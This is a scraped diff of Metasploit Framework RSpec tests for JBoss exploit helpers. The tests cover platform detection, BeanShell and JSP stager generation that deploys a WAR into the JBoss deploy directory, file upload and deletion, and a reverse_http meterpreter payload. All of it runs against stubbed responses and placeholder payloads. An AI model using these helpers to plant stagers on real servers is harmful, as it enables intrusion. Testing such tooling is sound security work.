it 'should raise an exception' do
|
||||||
|
expect{msf_module.replicant}.to raise_error(RuntimeError)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#register_extensions" do
|
||||||
|
describe "with single module" do
|
||||||
|
it 'should place the named module in the datastore' do
|
||||||
|
msf_module.register_extensions(MsfExtensionTestFoo)
|
||||||
|
expect(msf_module.replicant.datastore[Msf::Module::REPLICANT_EXTENSION_DS_KEY]).to eql([MsfExtensionTestFoo])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "with multiple modules" do
|
||||||
|
it 'should place the named modules in the datastore' do
|
||||||
|
msf_module.register_extensions(MsfExtensionTestFoo, MsfExtensionTestBar)
|
||||||
|
expect(msf_module.replicant.datastore[Msf::Module::REPLICANT_EXTENSION_DS_KEY]).to eql([MsfExtensionTestFoo, MsfExtensionTestBar])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -58,4 +58,72 @@ describe Msf::HTTP::JBoss::Base do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
describe "#query_serverinfo" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:send_request_cgi) do
|
||||||
|
if res_code.nil?
|
||||||
|
res = nil
|
||||||
|
else
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.code = res_code
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server timeouts' do
|
||||||
|
let(:res_code) { nil }
|
||||||
|
it { expect(subject.query_serverinfo()).to be_nil }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns 200' do
|
||||||
|
let(:res_code) { 200 }
|
||||||
|
it { expect(subject.query_serverinfo()).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#detect_plateform" do
|
||||||
|
context "when server arch is Linux" do
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.body = "<td>OSName: Linux</td>"
|
||||||
|
it { expect(subject.detect_platform(res)).to eq "linux" }
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when server arch is Windows" do
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.body = "<td>OSName: Windows</td>"
|
||||||
|
it { expect(subject.detect_platform(res)).to eq "win" }
|
||||||
|
end
|
||||||
|
|
||||||
|
context "return nil if no OS match" do
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.body = "<td>OSName: Blah</td>"
|
||||||
|
it { expect(subject.detect_platform(res)).to be_nil }
|
||||||
|
end
|
||||||
|
|
||||||
|
context "return nil res is nil" do
|
||||||
|
res = nil
|
||||||
|
it { expect(subject.detect_platform(res)).to be_nil }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#detect_architecture" do
|
||||||
|
context "when server arch is x86" do
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.body = "<td>OSArch: i386</td>"
|
||||||
|
it { expect(subject.detect_architecture(res)).to eq ARCH_X86 }
|
||||||
|
end
|
||||||
|
|
||||||
|
context "return nil if no architecture match" do
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.body = "<td>OSArch: Blah</td>"
|
||||||
|
it { expect(subject.detect_architecture(res)).to be_nil }
|
||||||
|
end
|
||||||
|
|
||||||
|
context "return nil res is nil" do
|
||||||
|
res = nil
|
||||||
|
it { expect(subject.detect_architecture(res)).to be_nil }
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -17,7 +17,7 @@ describe Msf::HTTP::JBoss::BeanShellScripts do
|
||||||
it { expect(subject.generate_bsh(:create, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
|
it { expect(subject.generate_bsh(:create, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
|
||||||
end
|
end
|
||||||
|
|
||||||
context "when :create type is used" do
|
context "when :delete type is used" do
|
||||||
it { expect(subject.generate_bsh(:delete, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
|
it { expect(subject.generate_bsh(:delete, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,39 @@
|
||||||
|
#-*- coding:binary -*-
|
||||||
|
require 'spec_helper'
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/http/jboss'
|
||||||
|
|
||||||
|
describe Msf::HTTP::JBoss::DeploymentFileRepositoryScripts do
|
||||||
|
subject do
|
||||||
|
mod = ::Msf::Exploit.new
|
||||||
|
mod.extend Msf::HTTP::JBoss
|
||||||
|
mod.send(:initialize)
|
||||||
|
mod
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#stager_jsp_with_payload" do
|
||||||
|
it "returns the JSP stager" do
|
||||||
|
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('System.getProperty("jboss.server.home.dir");')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "uses the provided application name" do
|
||||||
|
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('"/deploy/management/" + "metasploit.war";')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "uses the provided payload" do
|
||||||
|
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('"payload";')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#head_stager_jsp" do
|
||||||
|
it "returns the head JSP stager" do
|
||||||
|
expect(subject.head_stager_jsp('stager_base', 'jsp_name')).to include('System.getProperty("jboss.server.home.dir");')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "uses the provided base name" do
|
||||||
|
expect(subject.head_stager_jsp('stager_base', 'jsp_name')).to include('"/deploy/management/" + "stager_base.war/"')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,91 @@
|
||||||
|
#-*- coding:binary -*-
|
||||||
|
require 'spec_helper'
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/http/jboss'
|
||||||
|
|
||||||
|
describe Msf::HTTP::JBoss::DeploymentFileRepository do
|
||||||
|
|
||||||
|
subject do
|
||||||
|
mod = ::Msf::Exploit.new
|
||||||
|
mod.extend Msf::HTTP::JBoss
|
||||||
|
mod.send(:initialize)
|
||||||
|
mod
|
||||||
|
end
|
||||||
|
|
||||||
|
let (:base_name) do
|
||||||
|
'dir_blah'
|
||||||
|
end
|
||||||
|
|
||||||
|
let (:jsp_name) do
|
||||||
|
'file_blah'
|
||||||
|
end
|
||||||
|
|
||||||
|
let (:content) do
|
||||||
|
'<%@page import="java.io.*%>'
|
||||||
|
end
|
||||||
|
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:send_request_cgi) do
|
||||||
|
case res_code
|
||||||
|
when nil
|
||||||
|
res = nil
|
||||||
|
when 401
|
||||||
|
res = Rex::Proto::Http::Response.new(401, "Authentication required")
|
||||||
|
when 404
|
||||||
|
res = Rex::Proto::Http::Response::E404.new
|
||||||
|
when 200
|
||||||
|
res = Rex::Proto::Http::Response::OK.new
|
||||||
|
else
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.code = res_code
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#upload_file" do
|
||||||
|
context 'when server timeouts' do
|
||||||
|
let (:res_code) { nil }
|
||||||
|
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_nil }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns a 200 response' do
|
||||||
|
let (:res_code) { 200 }
|
||||||
|
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns a 404 response' do
|
||||||
|
let (:res_code) { 404 }
|
||||||
|
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns a 401 response' do
|
||||||
|
let (:res_code) { 401 }
|
||||||
|
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#delete_file" do
|
||||||
|
context 'when server timeouts' do
|
||||||
|
let (:res_code) { nil }
|
||||||
|
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_nil }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns a 200 response' do
|
||||||
|
let (:res_code) { 200 }
|
||||||
|
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns a 404 response' do
|
||||||
|
let (:res_code) { 404 }
|
||||||
|
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns a 401 response' do
|
||||||
|
let (:res_code) { 401 }
|
||||||
|
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -1837,6 +1837,16 @@ describe 'modules/payloads', :content do
|
||||||
reference_name: 'python/meterpreter/bind_tcp'
|
reference_name: 'python/meterpreter/bind_tcp'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context 'python/meterpreter/reverse_http' do
|
||||||
|
it_should_behave_like 'payload can be instantiated',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'stagers/python/reverse_http',
|
||||||
|
'stages/python/meterpreter'
|
||||||
|
],
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'python/meterpreter/reverse_http'
|
||||||
|
end
|
||||||
|
|
||||||
context 'python/meterpreter/reverse_tcp' do
|
context 'python/meterpreter/reverse_tcp' do
|
||||||
it_should_behave_like 'payload can be instantiated',
|
it_should_behave_like 'payload can be instantiated',
|
||||||
ancestor_reference_names: [
|
ancestor_reference_names: [
|
||||||
|
|
|
@ -62,15 +62,15 @@ File.open('log/untested-payloads.log') { |f|
|
||||||
$stderr.puts
|
$stderr.puts
|
||||||
$stderr.puts " context '#{reference_name}' do\n" \
|
$stderr.puts " context '#{reference_name}' do\n" \
|
||||||
" it_should_behave_like 'payload can be instantiated',\n" \
|
" it_should_behave_like 'payload can be instantiated',\n" \
|
||||||
" ancestor_reference_name: ["
|
" ancestor_reference_names: ["
|
||||||
|
|
||||||
ancestor_reference_names = options[:ancestor_reference_names]
|
ancestor_reference_names = options[:ancestor_reference_names]
|
||||||
|
|
||||||
if ancestor_reference_names.length == 1
|
if ancestor_reference_names.length == 1
|
||||||
$stderr.puts " '#{ancestor_reference_names[0]}'"
|
$stderr.puts " '#{ancestor_reference_names[0]}'"
|
||||||
else
|
else
|
||||||
$stderr.puts " '#{ancestor_reference_names[0]}',"
|
$stderr.puts " '#{ancestor_reference_names[1]}',"
|
||||||
$stderr.puts " '#{ancestor_reference_names[1]}'"
|
$stderr.puts " '#{ancestor_reference_names[0]}'"
|
||||||
end
|
end
|
||||||
|
|
||||||
$stderr.puts " ],\n" \
|
$stderr.puts " ],\n" \
|
||||||
|
|
Loading…
Reference in New Issue